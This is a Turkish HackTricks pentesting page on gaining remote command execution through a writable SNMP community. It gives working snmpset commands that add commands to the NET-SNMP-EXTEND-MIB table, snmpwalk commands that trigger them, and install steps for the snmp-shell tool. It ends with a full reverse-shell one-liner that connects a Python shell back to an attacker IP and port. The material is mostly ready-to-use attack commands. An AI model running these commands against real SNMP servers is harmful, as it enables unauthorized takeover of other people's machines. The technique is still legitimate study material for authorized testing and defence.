SNMP RCE

AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

SNMP Uzaktan Komut Yürütme (RCE)

SNMP, yöneticinin cihaz veya sunucudaki varsayılan yapılandırmasını göz ardı ederse saldırgan tarafından istismar edilebilir. Bir Linux işletim sisteminde SNMP topluluğunu (rwcommunity) kötüye kullanarak saldırgan sunucuda komutları yürütebilir.

Ek Komutlarla Hizmetleri Genişletme

SNMP hizmetlerini genişletmek ve ekstra komutlar eklemek için, "nsExtendObjects" tablosuna yeni satırlar eklemek mümkündür. Bunun için snmpset komutunu kullanarak gerekli parametreleri sağlamak gerekmektedir. Bu parametreler arasında yürütülecek dosyanın mutlak yolunu ve yürütülecek komutu belirtmek bulunur:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Komut Enjeksiyonu için Komutlar Eklemek

SNMP hizmetinde çalıştırılmak üzere komut enjekte etmek, çağrılan ikili/dosyanın varlığını ve çalıştırılabilir olmasını gerektirir. NET-SNMP-EXTEND-MIB çağrılan ikili/dosyanın mutlak yolunu sağlamayı zorunlu kılar.

Enjekte edilen komutun çalıştırıldığını doğrulamak için snmpwalk komutu kullanılabilir. Çıktı, komutu ve ilişkili ayrıntıları (mutlak yol dahil) içerecektir:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Enjekte Edilen Komutları Çalıştırma

Enjekte edilen komut okunduğunda çalıştırılır. Bu davranış run-on-read() olarak bilinir. Komutun çalıştırılması, snmpwalk okunurken gözlemlenebilir.

SNMP ile Sunucu Kabuğu Elde Etme

Sunucu üzerinde kontrol sağlamak ve bir sunucu kabuğu elde etmek için, mxrch tarafından geliştirilen bir Python betiği kullanılabilir. https://github.com/mxrch/snmp-shell.git adresinden bu betikten yararlanabilirsiniz.

Alternatif olarak, SNMP'ye belirli bir komut enjekte ederek ters kabuk oluşturulabilir. Bu komut, snmpwalk tarafından tetiklenir ve saldırganın makinesine ters kabuk bağlantısı kurarak kurban makine üzerinde kontrol sağlar. Bu işlemi çalıştırmak için önceden gereksinimleri yükleyebilirsiniz:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ya da ters kabuk:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated